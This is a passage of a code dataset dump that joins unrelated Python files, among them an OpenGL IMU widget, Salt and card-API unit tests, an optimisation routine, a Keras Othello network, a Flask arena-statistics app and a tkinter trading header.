left\n glPushMatrix()\n glColor3f(1.0, 1.0, 1.0)\n glTranslatef(-0.425, 0.9, -0.125)\n self.draw_cuboid(0.325, 0.1, 0.05)\n glPopMatrix()\n \n \n # Draw bricklet port right\n glPushMatrix()\n glColor3f(1.0, 1.0, 1.0)\n glTranslatef(0.425, 0.9, -0.125)\n self.draw_cuboid(0.325, 0.1, 0.05)\n glPopMatrix()\n \n # Draw Axis\n glPushMatrix()\n glTranslatef(-1.2, -1.2, -0.3)\n glLineWidth(5.0)\n \n glBegin(GL_LINES)\n glColor3f(1,0,0) # x axis is red\n glVertex3fv((0,0,0))\n glVertex3fv((2,0,0))\n glColor3f(0,0.5,0) # y axis is green\n glVertex3fv((0,0,0))\n glVertex3fv((0,2,0))\n glColor3f(0,0,1) # z axis is blue\n glVertex3fv((0,0,0))\n glVertex3fv((0,0,2))\n glEnd()\n \n glPopMatrix()\n \n def polygon(self, a, b, c, d):\n # draw a polygon\n glBegin(GL_POLYGON)\n glVertex3fv(self.vertices[a])\n glVertex3fv(self.vertices[b])\n glVertex3fv(self.vertices[c])\n glVertex3fv(self.vertices[d])\n glEnd()\n\n def cube(self):\n # map vertices to faces\n self.polygon(0, 3, 2, 1)\n self.polygon(2, 3, 7, 6)\n self.polygon(4, 7, 3, 0)\n self.polygon(1, 2, 6, 5)\n self.polygon(7, 4, 5, 6)\n self.polygon(5, 4, 0, 1)\n\n def draw_cuboid(self, x, y, z):\n glPushMatrix()\n glScalef(x, y, z) # size cuboid\n self.cube()\n glPopMatrix()\n\n def save_orientation(self):\n self.save_orientation_flag = True\n","sub_path":"src/brickv/plugin_system/plugins/imu/imu_gl_widget.py","file_name":"imu_gl_widget.py","file_ext":"py","file_size_in_byte":8417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"34150489","text":"from importlib.machinery import SourceFileLoader\nimport unittest\n\nsalt_test_case = SourceFileLoader('salt_test_case', \"salt_test_case.py\").load_module()\ndocker = SourceFileLoader('docker', '../_modules/paas_docker.py').load_module()\n\n\nclass Testinstance(unittest.TestCase, salt_test_case.SaltTestCase):\n\n def setUp(self):\n self.initialize_mocks()\n self.instance = docker\n\n self.mock_pillar('data/paas_docker.yaml')\n\n self.mock_grains()\n self.grains['id'] = 'egladil'\n\n def test_get_image(self):\n container = {\n \"image\": \"foo\",\n \"version\": \"42\"\n }\n\n self.assertEqual(\"foo:42\", docker.get_image(\"not_foo\", container))\n\n def test_get_image_without_version(self):\n container = {\n \"image\": \"foo\",\n }\n\n self.assertEqual(\"foo\", docker.get_image(\"not_foo\", container))\n\n def test_get_image_without_image(self):\n container = {\n \"version\": \"42\"\n }\n\n self.assertEqual(\"not_foo:42\", docker.get_image(\"not_foo\", container))\n\n def test_get_image_without_anything(self):\n self.assertEqual(\"not_foo\", docker.get_image(\"not_foo\", {}))\n\n def test_get_image_with_numeric_version(self):\n container = {\n \"image\": \"foo\",\n \"version\": 2.5\n }\n\n self.assertEqual(\"foo:2.5\", docker.get_image(\"not_foo\", container))\n\n def test_get_subnets(self):\n expected = ['172.18.1.0/24', '172.18.2.0/24', '172.17.0.0/16']\n\n self.assertEqual(expected, docker.get_subnets())\n\n def test_get_subnets_when_none_are_defined(self):\n # Only the default Docker one\n expected = ['172.17.0.0/16']\n\n self.grains['id'] = 'voidserver'\n self.assertEqual(expected, docker.get_subnets())\n","sub_path":"_tests/modules/test_paas_docker.py","file_name":"test_paas_docker.py","file_ext":"py","file_size_in_byte":1789,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"258591548","text":"#!/usr/bin/env python\n\nimport os\nimport json\nimport sys\n\ndef print_usage():\n print(\"USAGE: load_envvars.py DEPLOY_TO\")\n exit(1)\n\ndef get_script_path():\n return os.path.dirname(os.path.realpath(__file__))\n\ndef main():\n if len(sys.argv) < 2:\n print_usage()\n\n env = sys.argv[1]\n\n zsf_path = os.path.join(get_script_path(), \"zappa_settings.json\")\n with open(zsf_path) as zsf:\n settings = json.load(zsf)\n\n environment_variables = settings[env]['aws_environment_variables']\n for envvar in environment_variables:\n print(\"export {}='{}'\".format(envvar, environment_variables[envvar]))\n\nif __name__ == \"__main__\":\n main()","sub_path":"load_envvars.py","file_name":"load_envvars.py","file_ext":"py","file_size_in_byte":663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"383845357","text":"from math import sqrt\nimport numpy as np\nfrom history import History\n\ndef universal_similar_triangles_method(oracle, prox, primal_dual_oracle,\n t_start, L_init = None, max_iter = 1000,\n eps = 1e-5, eps_abs = None, stop_crit = 'dual_gap_rel',\n verbose_step = 100, verbose = False, save_history = False):\n if stop_crit == 'dual_gap_rel':\n def crit():\n return duality_gap <= eps * duality_gap_init\n elif stop_crit == 'dual_gap':\n def crit():\n return duality_gap <= eps_abs\n elif stop_crit == 'max_iter':\n def crit():\n return it_counter == max_iter\n elif callable(stop_crit):\n crit = stop_crit\n else:\n raise ValueError(\"stop_crit should be callable or one of the following names: \\\n 'dual_gap', 'dual_gap_rel', 'max iter'\")\n \n L_value = L_init if L_init is not None else np.linalg.norm(oracle.grad(t_start))\n \n A_prev = 0.0\n y_start = u_prev = t_prev = np.copy(t_start)\n A = u = t = y = None\n \n grad_sum = None\n grad_sum_prev = np.zeros(len(t_start))\n\n flows_weighted = primal_dual_oracle.get_flows(y_start) \n primal, dual, duality_gap_init, state_msg = primal_dual_oracle(flows_weighted, y_start)\n if save_history:\n history = History('iter', 'primal_func', 'dual_func', 'dual_gap', 'inner_iters')\n history.update(0, primal, dual, duality_gap_init, 0)\n if verbose:\n print(state_msg)\n if eps_abs is None:\n eps_abs = eps * duality_gap_init\n \n success = False\n inner_iters_num = 0\n \n for it_counter in range(1, max_iter+1):\n while True:\n inner_iters_num += 1\n \n alpha = 0.5 / L_value + sqrt(0.25 / L_value**2 + A_prev / L_value)\n A = A_prev + alpha\n\n y = (alpha * u_prev + A_prev * t_prev) / A\n grad_y = oracle.grad(y)\n flows = primal_dual_oracle.get_flows(y) #grad() is called here\n grad_sum = grad_sum_prev + alpha * grad_y\n u = prox(grad_sum / A, y_start, 1.0 / A)\n t = (alpha * u + A_prev * t_prev) / A\n\n left_value = (oracle.func(y) + np.dot(grad_y, t - y) + \n 0.5 * alpha / A * eps_abs) - oracle.func(t)\n right_value = - 0.5 * L_value * np.sum((t - y)**2)\n if left_value >= right_value:\n break\n else:\n L_value *= 2\n \n A_prev = A\n L_value /= 2\n \n t_prev = t\n u_prev = u\n grad_sum_prev = grad_sum\n flows_weighted = (flows_weighted * (A - alpha) + flows * alpha ) / A\n \n primal, dual, duality_gap, state_msg = primal_dual_oracle(flows_weighted, t)\n if save_history:\n history.update(it_counter, primal, dual, duality_gap, inner_iters_num)\n if verbose and (it_counter % verbose_step == 0):\n print('\\nIterations number: {:d}'.format(it_counter))\n print('Inner iterations number: {:d}'.format(inner_iters_num))\n print(state_msg, flush = True)\n if crit():\n success = True\n break\n \n result = {'times': t, 'flows': flows_weighted,\n 'iter_num': it_counter,\n 'res_msg': 'success' if success else 'iterations number exceeded'}\n if save_history:\n result['history'] = history.dict\n if verbose:\n print('\\nResult: ' + result['res_msg'])\n print('Total iters: ' + str(it_counter))\n print(state_msg)\n print('Oracle elapsed time: {:.0f} sec'.format(oracle.time))\n return result\n\n#print('Dijkstra elapsed time: {:.0f} sec'.format(oracle.auto_oracles_time))\n\n#criteria: stable dynamic 'dual_threshold' AND 'primal_threshold', 'dual_rel' AND 'primal_rel'. \n\n#beckman : + 'dual_gap_rel', 'dual_gap_threshold', 'primal_threshold', 'primal_rel'\n\n#criteria: 'star_solution_residual',\n\n#practice: 'dual_rel'\n\n\n# if crit_name == 'dual_gap_rel':\n# def crit():\n# nonlocal duality_gap, duality_gap_init, eps\n# return duality_gap < eps * duality_gap_init\n# if crit_name == 'dual_rel':\n# def crit():\n# nonlocal dual_func_history, eps\n# l = len(dual_func_history)\n# return dual_func_history[l // 2] - dual_func_history[-1] \\\n# < eps * (dual_func_history[0] - dual_func_history[-1])\n# if crit_name == 'primal_rel':\n# def crit():\n# nonlocal primal_func_history, eps\n# l = len(primal_func_history)\n# return primal_func_history[l // 2] - primal_func_history[-1] \\\n# < eps * (primal_func_history[0] - primal_func_history[-1])","sub_path":"Stable Dynamic & Beckman/grad_methods/universal_similar_triangles_method.py","file_name":"universal_similar_triangles_method.py","file_ext":"py","file_size_in_byte":4828,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"632222681","text":"from typing import List, Optional\nfrom cloudrail.knowledge.context.gcp.resources.binary_authorization.gcp_binary_authorization_policy import GcpClusterContainerBinaryAuthorizationPolicy, \\\n GcpBinaryAuthorizationAdmissionRuleType, GcpBinaryAuthorizationAdmissionRule, GcpBinaryAuthorizationAdmissionEvaluationMode, \\\n GcpBinaryAuthorizationAdmissionEnforcementMode\nfrom cloudrail.knowledge.context.gcp.resources.constants.gcp_resource_type import GcpResourceType\nfrom cloudrail.knowledge.context.gcp.resources_builders.terraform.base_gcp_terraform_builder import BaseGcpTerraformBuilder\nfrom cloudrail.knowledge.utils.enum_utils import enum_implementation\n\n\nclass BinaryAuthorizationPolicyBuilder(BaseGcpTerraformBuilder):\n\n def do_build(self, attributes: dict) -> GcpClusterContainerBinaryAuthorizationPolicy:\n cluster_admission_rules: List[GcpBinaryAuthorizationAdmissionRule] = []\n for rule in self._get_known_value(attributes, 'cluster_admission_rules', []):\n cluster_admission_rules.append(self._build_admission_rule(rule, GcpBinaryAuthorizationAdmissionRuleType.CLUSTER, rule['cluster']))\n global_policy_evaluation_mode_enabled = self._get_known_value(attributes, 'global_policy_evaluation_mode') == 'ENABLE'\n return GcpClusterContainerBinaryAuthorizationPolicy(default_admission_rule=self._build_admission_rule(attributes['default_admission_rule'][0],\n GcpBinaryAuthorizationAdmissionRuleType.DEFAULT),\n cluster_admission_rules=cluster_admission_rules,\n global_policy_evaluation_mode_enabled=global_policy_evaluation_mode_enabled)\n\n def get_service_name(self) -> GcpResourceType:\n return GcpResourceType.GOOGLE_BINARY_AUTHORIZATION_POLICY\n\n @classmethod\n def _build_admission_rule(cls, attributes: dict, rule_type: GcpBinaryAuthorizationAdmissionRuleType, cluster_id: Optional[str] = None):\n return GcpBinaryAuthorizationAdmissionRule(admission_rule_type=rule_type,\n evaluation_mode=enum_implementation(GcpBinaryAuthorizationAdmissionEvaluationMode,\n cls._get_known_value(attributes, 'evaluation_mode')),\n enforcement_mode=enum_implementation(GcpBinaryAuthorizationAdmissionEnforcementMode,\n cls._get_known_value(attributes, 'enforcement_mode')),\n cluster_id=cluster_id)\n","sub_path":"cloudrail/knowledge/context/gcp/resources_builders/terraform/binary_authorization_policy_builder.py","file_name":"binary_authorization_policy_builder.py","file_ext":"py","file_size_in_byte":2798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"430759180","text":"from keras.models import Sequential\nfrom keras.layers import convolutional\nfrom keras.layers.core import Dense, Activation, Flatten, Dropout\nfrom keras.optimizers import SGD, Adam\nimport keras.backend as K\nfrom keras.utils import np_utils\nfrom keras.models import model_from_json\nfrom keras.utils.visualize_util import plot\n\nimport numpy as np\n\nclass PolicyNetWork(object):\n def __init__(self):\n self.batch_size = 1\n self.nb_classes = 64\n self.nb_epoch = 1\n self.nb_layer = 7\n\n def create_network(self,):\n network = Sequential()\n\n # create first layer\n network.add(convolutional.Convolution2D(\n nb_filter=128,\n nb_row=5,\n nb_col=5,\n input_shape=(1,8,8),\n init=\"uniform\",\n activation=\"relu\",\n border_mode=\"same\"))\n\n # create all other layers\n for i in range(2, self.nb_layer):\n network.add(convolutional.Convolution2D(\n nb_filter=128,\n nb_row=3,\n nb_col=3,\n init=\"uniform\",\n activation=\"relu\",\n border_mode=\"same\"))\n\n # the last layer maps each feature to a number\n network.add(convolutional.Convolution2D(\n nb_filter=1,\n nb_row=1,\n nb_col=1,\n init=\"uniform\",\n border_mode=\"same\"))\n\n # reshape output to be board x board\n network.add(Flatten())\n network.add(Activation(\"relu\"))\n network.add(Dense(self.nb_classes))\n\n #softmax makes it into a probability distribution\n network.add(Activation(\"softmax\"))\n\n sgd = SGD(lr=.03, decay=.0001)\n adam = Adam(lr=0.001, beta_1=0.9, beta_2=0.999, epsilon=1e-08)\n network.compile(loss=\"categorical_crossentropy\",\n optimizer=adam,\n metrics=[\"accuracy\"])\n return network\n\nif __name__ == \"__main__\":\n\n pcnn = PolicyNetWork()\n model = pcnn.create_network()\n json_string = model.to_json()\n plot(model, to_file='model.png')\n open('pcnn.json', 'w').write(json_string)\n print(\"Checking json file...\")\n\n model = model_from_json(open('pcnn.json').read())\n model.load_weights('/Users/kento_watanabe/Desktop/work/Data_of_Othello/weights_24.hdf5')\n\n print(\"OK!\")\n\n from othello import Othello\n board = np.asarray(\n [[0,0,0,0,0,0,0,0,],\n [0,0,0,0,0,0,0,0,],\n [0,0,0,0,0,0,0,0,],\n [0,0,0,2,1,0,0,0,],\n [0,0,0,1,2,0,0,0,],\n [0,0,0,0,0,0,0,0,],\n [0,0,0,0,0,0,0,0,],\n [0,0,0,0,0,0,0,0,]\n ])\n\n board = board.reshape((1,1,8,8))\n argsort = np.argsort(model.predict(board))\n\n print(argsort[0][::-1])\n","sub_path":"BetaOthello/models/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2858,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"321713361","text":"import logging\nfrom collections import namedtuple\nimport pytest\n\nfrom actions.card_actions import CardActions\nfrom actions.payload_generator import PayloadGenerator\nfrom actions.user_actions import UserActions\nfrom base.base_test import BaseTest\nfrom utils.utils_helper import UtilsHelper\nfrom verifications.card_verifications import CardVerifications\n\nlogger = logging.getLogger(__name__)\n\n\nclass TestCardCreation(BaseTest):\n\n @pytest.fixture(scope='module')\n def resources(self):\n # Create user\n user_client = UserActions()\n user_client.create_user(PayloadGenerator.user_payload())\n\n # Create card product\n card_client = CardActions()\n card_client.create_card_product(\n PayloadGenerator.card_product_payload())\n\n Data = namedtuple('Data', 'user_client, user_token, card_client,'\n 'card_product_token')\n\n return Data(user_client=user_client,\n user_token=user_client.user_token,\n card_client=card_client,\n card_product_token=card_client.product_token)\n\n @pytest.mark.all_test\n @pytest.mark.smoke_test\n # @pytest.mark.skip(reason=\"Test Disable\")\n def test_create_card_success(self, resources):\n \"\"\"\n Test create a new card successfully\n \"\"\"\n #\n # ================ CONFIGURATION ================\n #\n card_details = PayloadGenerator.card_payload(\n user_token=resources.user_token,\n card_product_token=resources.card_product_token)\n\n #\n # ================ ACTION ================\n #\n card = resources.card_client.create_card(card_details)\n\n #\n # ================ VERIFICATION ================\n #\n CardVerifications.verify_card_creation_success(card, resources)\n\n @pytest.mark.all_test\n # @pytest.mark.skip(reason=\"Test Disable\")\n def test_create_multiple_cards_same_user_product_success(self, resources):\n \"\"\"\n Test create multiple cards for same user and card product successfully\n \"\"\"\n #\n # ================ CONFIGURATION ================\n #\n card_details = PayloadGenerator.card_payload(\n user_token=resources.user_token,\n card_product_token=resources.card_product_token)\n\n #\n # ================ ACTION ================\n #\n card1 = resources.card_client.create_card(card_details)\n card2 = resources.card_client.create_card(card_details)\n\n #\n # ================ VERIFICATION ================\n #\n CardVerifications.verify_multiple_cards_same_user_product_success(\n card1, card2)\n\n @pytest.mark.all_test\n # @pytest.mark.skip(reason=\"Test Disable\")\n def test_create_personalized_card_with_name_success(self, resources):\n \"\"\"\n Test create a new personalized card with custom name successfully\n \"\"\"\n #\n # ================ CONFIGURATION ================\n #\n custom_name = \"custom_name_\" + UtilsHelper.time_stamp()\n fulfillment_details = {\n \"card_personalization\": {\n \"text\": {\n \"name_line_1\": {\n \"value\": custom_name\n }\n }\n }\n }\n\n card_details = PayloadGenerator.card_payload(\n user_token=resources.user_token,\n card_product_token=resources.card_product_token,\n fulfillment=fulfillment_details)\n\n #\n # ================ ACTION ================\n #\n card = resources.card_client.create_card(card_details)\n\n #\n # ================ VERIFICATION ================\n #\n CardVerifications.verify_card_creation_custom_name_success(card,\n custom_name)\n\n @pytest.mark.all_test\n # @pytest.mark.skip(reason=\"Test Disable\")\n def test_create_card_without_user_token_fail(self, resources):\n \"\"\"\n Test create a new card without user token unsuccessfully\n \"\"\"\n #\n # ================ CONFIGURATION ================\n #\n card_details = PayloadGenerator.card_payload(\n user_token='',\n card_product_token=resources.card_product_token)\n\n #\n # ================ ACTION ================\n #\n card = resources.card_client.create_card(card_details)\n\n #\n # ================ VERIFICATION ================\n #\n CardVerifications.verify_no_user_token_card_creation_fail(card)\n\n @pytest.mark.all_test\n # @pytest.mark.skip(reason=\"Test Disable\")\n def test_create_card_with_invalid_product_token_fail(self, resources):\n \"\"\"\n Test create a new card with invalid product token unsuccessfully\n \"\"\"\n #\n # ================ CONFIGURATION ================\n #\n card_details = PayloadGenerator.card_payload(\n user_token=resources.user_token,\n card_product_token='invalid_token')\n\n #\n # ================ ACTION ================\n #\n card = resources.card_client.create_card(card_details)\n\n #\n # ================ VERIFICATION ================\n #\n CardVerifications.verify_invalid_product_token_card_creation_fail(card)\n","sub_path":"tests/test_card_creation.py","file_name":"test_card_creation.py","file_ext":"py","file_size_in_byte":5435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"633242032","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\n#import training data from train.csv divide into x and y\ndef train_data():\n\ta= pd.read_csv(\"train.csv\")\n\tdata= np.array(a)\n\ty=data[:,0]\n\tx=data[:,1:]\n\ty=np.reshape(y,(42000,1))\n\ty_data=np.zeros((y.shape[0],10))\n\tfor i in xrange(42000):\n\t\tind=y[i]\n\t\ty_data[i][ind]=1\n\treturn x,y_data\n\n#import test data from test.csv\ndef test_data():\n\tb= pd.read_csv(\"test.csv\")\n\tdata= np.array(b)\n\treturn data\n\ndef image(x):\n\tplt.imshow(x,cmap=plt.get_cmap('gray'))\n\tplt.show()\n#show the grayscale pixels\ndef show(x):\n\tx=np.reshape(x,(28,28))\n\tplt.imshow(x,cmap=plt.get_cmap('gray'))\n\tplt.show()\n\n#sigmoid function\ndef sigmoid(z):\n\treturn 1/(1+np.e**(-z))\n\n#derivative sigmoid function\ndef der_sigmoid(z):\n\ta=sigmoid(z)\n\treturn a*(1-a)","sub_path":"dat.py","file_name":"dat.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"17403575","text":"#!/usr/bin/python3\n\nfrom flask import Flask, abort, redirect, url_for, render_template\nimport psycopg2\nimport sys\n\napp = Flask(__name__)\n\nconn = psycopg2.connect(\n database='safetydome',\n user='flask',\n password='flask',\n host='localhost'\n )\ncur = conn.cursor()\n\n\nclass Battle():\n \"\"\"Battle object used to store battle combatants and statistics\"\"\"\n __tablename__ = 'Battle'\n\n def __init__(\n self,\n id,\n one_id,\n two_id,\n start=None,\n stop=None,\n one_name=None,\n two_name=None\n ):\n self.id = id\n self.one_id = one_id\n self.two_id = two_id\n self.one_name = one_name\n self.two_name = two_name\n self.start = start\n self.stop = stop\n\n\nclass Combatant():\n \"\"\"Combatant class stores fighter attributes\"\"\"\n __tablename__ = 'combatant'\n\n def __init__(\n self,\n comb_id,\n comb_name,\n comb_species,\n atk_name=None,\n atk_type=None,\n atk_mn_dmg=None,\n atk_mx_dmg=None,\n atk_spd=None\n ):\n self.id = comb_id\n self.name = comb_name\n self.species = comb_species\n self.attack = []\n self.attack.append(atk_name)\n self.attack_type = []\n self.attack_type.append(atk_type)\n self.min_dmg = []\n self.min_dmg.append(atk_mn_dmg)\n self.max_dmg = []\n self.max_dmg.append(atk_mx_dmg)\n self.speed = []\n self.speed.append(atk_spd)\n\n\n@app.route('/')\ndef index_proc():\n \"\"\"Default index.html function. Renders initial page\"\"\"\n return render_template('index.html')\n\n\n@app.route('/combatant')\ndef combatant_proc():\n \"\"\"Function that processes the list of combatants\"\"\"\n query_combatant = \"SELECT combatant.id, combatant.name, species.name \"\n query_combatant += \"FROM public.combatant, public.species \"\n query_combatant += \"WHERE combatant.species_id = species.id \"\n query_combatant += \"ORDER by combatant.name\"\n\n comb_objs = []\n\n # Connection to retrieve combatants\n try:\n cur.execute(query_combatant)\n data_combatants = cur.fetchall()\n except Exception as e:\n failure = \"\\n -Failed to query combatant data. {0}\"\n print(failure.format(e), file=sys.stderr)\n abort(404)\n\n for entry in data_combatants:\n current = Combatant(entry[0], entry[1], entry[2])\n comb_objs.append(current)\n\n return render_template('combatants.html', combatants=comb_objs)\n\n\n@app.route('/combatant/')\ndef fighter_proc(id=None):\n \"\"\"Processes the request for a specific combatant id\"\"\"\n if (str(id).isnumeric() is not True):\n abort(404)\n query_fighter = \"SELECT combatant.id, combatant.name, species.name, \"\n query_fighter += \"attack.name, attack.type, attack.min_dmg, \"\n query_fighter += \"attack.max_dmg, attack.speed \"\n query_fighter += \"FROM public.combatant, public.species, \"\n query_fighter += \"public.species_attack, public.attack \"\n query_fighter += \"WHERE combatant.species_id = species.id AND \"\n query_fighter += \"species.id = species_attack.species_id AND \"\n query_fighter += \"species_attack.attack_id = attack.id AND combatant.id = \"\n query_fighter += str(id)\n\n # Connection to retrieve fighter data\n try:\n cur.execute(query_fighter)\n data_fighter = cur.fetchall()\n except Exception as e:\n failure = \"\\n -Failed to query fighter data. {0}\"\n print(failure.format(e), file=sys.stderr)\n abort(404)\n\n # Create initial Combatant Object\n fighter = Combatant(\n data_fighter[0][0],\n data_fighter[0][1],\n data_fighter[0][2]\n )\n for data in data_fighter:\n fighter.attack.append(data[3])\n fighter.attack_type.append(data[4])\n fighter.min_dmg.append(data[5])\n fighter.max_dmg.append(data[6])\n fighter.speed.append(data[7])\n\n return render_template('fighter.html', fighter=fighter)\n\n\n@app.route('/battle')\n@app.route('/battle/')\n@app.route('/battle/-')\ndef battle_proc(id=None, id2=None):\n \"\"\"Function handles all battle html page calls\"\"\"\n # Single ID passed to /battle\n if (id is not None and id2 is None):\n if (str(id).isnumeric() is not True):\n abort(404)\n query_fights = \"SELECT fight.id, fight.combatant_one, \"\n query_fights += \"fight.combatant_two, fight.winner, fight.start, \"\n query_fights += \"fight.finish FROM public.fight WHERE fight.id = \"\n query_fights += str(id)\n\n # Two ID's passed to /battle\n elif (id is not None and id2 is not None):\n if (str(id).isnumeric() is not True):\n if (str(id2).isnumeric is not True):\n abort(404)\n query_fights = \"SELECT fight.id, fight.combatant_one, \"\n query_fights += \"fight.combatant_two, fight.winner, fight.start, \"\n query_fights += \"fight.finish FROM public.fight WHERE combatant_one = \"\n query_fights += str(id)\n query_fights += \" AND combatant_two = \"\n query_fights += str(id2)\n query_fights += \" OR combatant_one = \"\n query_fights += str(id2)\n query_fights += \" AND combatant_two = \"\n query_fights += str(id)\n\n # No ID's passed to /battle\n else:\n query_fights = \"SELECT fight.id, fight.combatant_one, \"\n query_fights += \"fight.combatant_two, fight.winner, fight.start, \"\n query_fights += \"fight.finish FROM public.fight\"\n\n # Connection to retrieve fight data\n try:\n cur.execute(query_fights)\n data_fight = cur.fetchall()\n except Exception as e:\n failure = \"\\n -Failed to query fight data. {0}\"\n print(failure.format(e), file=sys.stderr)\n abort(404)\n\n # Create array of battles\n fights = []\n for data in data_fight:\n new = Battle(data[0], data[1], data[2], data[4], data[5])\n\n # Retrieve Fighter one\n query_one = \"SELECT combatant.name FROM public.combatant WHERE \"\n query_one += \"combatant.id = \"\n query_one += str(new.one_id)\n\n try:\n cur.execute(query_one)\n name_one = cur.fetchall()\n except:\n print(\"\\n -Failed to query name. {0}\".format(e), file=sys.stderr)\n\n new.one_name = name_one[0][0]\n\n # Retrieve Fighter two\n query_two = \"SELECT combatant.name FROM public.combatant WHERE \"\n query_two += \"combatant.id = \"\n query_two += str(new.two_id)\n\n try:\n cur.execute(query_two)\n name_two = cur.fetchall()\n except:\n print(\"\\n -Failed to query name. {0}\".format(e), file=sys.stderr)\n\n new.two_name = name_two[0][0]\n\n if data[3] == 'One':\n new.winner = new.one_name\n elif data[3] == 'Two':\n new.winner = new.two_name\n else:\n new.winner = 'Tie'\n fights.append(new)\n\n if id is not None:\n return render_template('battle_data.html', battle=fights[0])\n else:\n return render_template('battle.html', fights=fights)\n\n\n@app.route('/results')\ndef results_proc():\n \"\"\"Queries the database for win results\"\"\"\n query_win = \"SELECT id, count(*) as wins FROM (\"\n query_win += \"SELECT CASE \"\n query_win += \"WHEN winner = 'One' THEN combatant_one \"\n query_win += \"WHEN winner = 'Two' THEN combatant_two \"\n query_win += \"end AS id, COUNT(*) AS wins FROM fight \"\n query_win += \"GROUP BY id \"\n query_win += \"ORDER BY wins desc) AS wins WHERE ID IS NOT NULL GROUP BY \"\n query_win += \"id ORDER BY wins DESC\"\n\n # Connection to retrieve fighter data\n try:\n cur.execute(query_win)\n data_win = cur.fetchall()\n except Exception as e:\n failure = \"\\n -Failed to query fighter data. {0}\"\n print(failure.format(e), file=sys.stderr)\n abort(404)\n\n # Number top ranked and create list of queried results\n rank = 1\n combatants = []\n for win in data_win:\n # Retrieve Fighter one\n query_name = \"SELECT combatant.name, species.name FROM \"\n query_name += \"public.combatant, public.species WHERE \"\n query_name += \"combatant.species_id = species.id and combatant.id = \"\n query_name += str(win[0])\n\n try:\n cur.execute(query_name)\n name = cur.fetchall()\n except Exception as e:\n failure = \"\\n -Failed to query fighter data. {0}\"\n print(failure.format(e), file=sys.stderr)\n abort(404)\n\n current = Combatant(win[0], name[0][0], win[1])\n current.rank = rank\n current.wins = win[1]\n combatants.append(current)\n rank += 1\n\n return render_template('results.html', combatants=combatants)\n\n\nif __name__ == '__main__':\n app.run(port=8047)\n cur.close()\n","sub_path":"safetydome.py","file_name":"safetydome.py","file_ext":"py","file_size_in_byte":8899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"86921177","text":"from collections import namedtuple\n\nContact = namedtuple('Contact', 'first last age email')\n\nrecords = [\n Contact('John', 'Smith', 43, 'jsbrony@yahoo.com'),\n Contact('Ellen', 'James', 32, 'jamestel@google.com'),\n Contact('Sally', 'Edwards', 36, 'steclone@yahoo.com'),\n Contact('Keith', 'Cramer', 29, 'kcramer@sintech.com')\n]\nrecords.sort(key=lambda one_rec: one_rec.age, reverse=True)\n\nfor record in records:\n print(record.last, record.age)\n","sub_path":"Optum Tech/student_files/ch01_overview/07_namedtuples.py","file_name":"07_namedtuples.py","file_ext":"py","file_size_in_byte":462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"616181627","text":"from tkinter import StringVar, messagebox\nfrom tkinter.constants import SUNKEN\nimport tkinter.font as tkFont\nimport tkinter as tk\n\nfrom ..config import *\nfrom ..TopLevelObject import *\n\n#import Engine\nimport Engine.config\nimport Engine.___Engine\nfrom Engine.___Engine import Engine\nfrom Engine.config import *\n\nclass Header(TopLevelObject):\n def __init__(self, master):\n super().__init__(master)\n\n self.engine = None\n self.engine_stopped = True\n self.engine_text = tk.StringVar()\n self.engine_text.set('Start engine')\n\n def Grid(self, **options):\n super().Grid(options)\n\n leftFrame = tk.Frame()\n self.bnEngine = tk.Button(leftFrame, textvariable = self.engine_text, command=self.Toggle_Start_Engine, bg = 'orange', fg = 'navy blue').grid(row=1, column=1, sticky='W')\n self.buyCrypto = tk.Button(leftFrame, text='Buy Crypto', bg=Color.BG2.value, fg=Color.HighFG.value).grid(row=1, column=2, sticky='W')\n self.markets = tk.Button(leftFrame, text='Markets').grid(row=1, column=3, sticky='W')\n self.trade = tk.Button(leftFrame, text='Trade').grid(row=1, column=4, sticky='W')\n self.derivatives = tk.Button(leftFrame, text='Derivatives').grid(row=1, column=5, sticky='W')\n self.finance = tk.Button(leftFrame, text='Finance').grid(row=1, column=6, sticky='W')\n leftFrame.grid(row=1, column=1, sticky='W')\n \n rightFrame = tk.Frame()\n self.wallet = tk.Button(rightFrame, text='Wallet').grid(row=1, column=1, sticky='E')\n self.orders = tk.Button(rightFrame, text='Orders').grid(row=1, column=2, sticky='E')\n self.account = tk.Button(rightFrame, text='Account').grid(row=1, column=3, sticky='E')\n self.language = tk.Button(rightFrame, text='English').grid(row=1, column=4, sticky='E')\n self.currency = tk.Button(rightFrame, text='USD').grid(row=1, column=5, sticky='E')\n self.theme = tk.Button(rightFrame, text='***').grid(row=1, column=6, sticky='E')\n rightFrame.grid(row=1, column=2, sticky='E')\n\n\n def Pack(self, **options):\n super().Pack(options)\n\n #tk.Button(self.master, text='Header button1').pack(side='top')\n \n self.button1 = tk.Button(self.frame, text='Header button top')\n self.button1.pack(side='top')\n\n self.button2 = tk.Button(self.frame, text='Header button bottom')\n self.button2.pack(side='bottom')\n \n def Toggle_Start_Engine(self):\n if self.engine_stopped:\n if self.engine is None:\n self.engine = Engine() # A TopLevelObject property.\n TopLevelObject.engine = self.engine # so engine is now shared between all TopLevelObjects.\n self.engine.Start(Config['structure'], Config['timing'])\n self.engine_stopped = False\n self.engine_text.set('Stop engine')\n else:\n stopped = self.engine.Stop()\n if stopped:\n self.engine_stopped = True\n self.engine_text.set('Start engine')\n return\n","sub_path":"GUI/Header/Header.py","file_name":"Header.py","file_ext":"py","file_size_in_byte":3051,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"116363742","text":"\"\"\"Setup script for the package\"\"\"\n\nfrom setuptools import setup, find_packages\nfrom rpncalc import __version__\n\nwith open(\"README.md\") as readme_file:\n README = 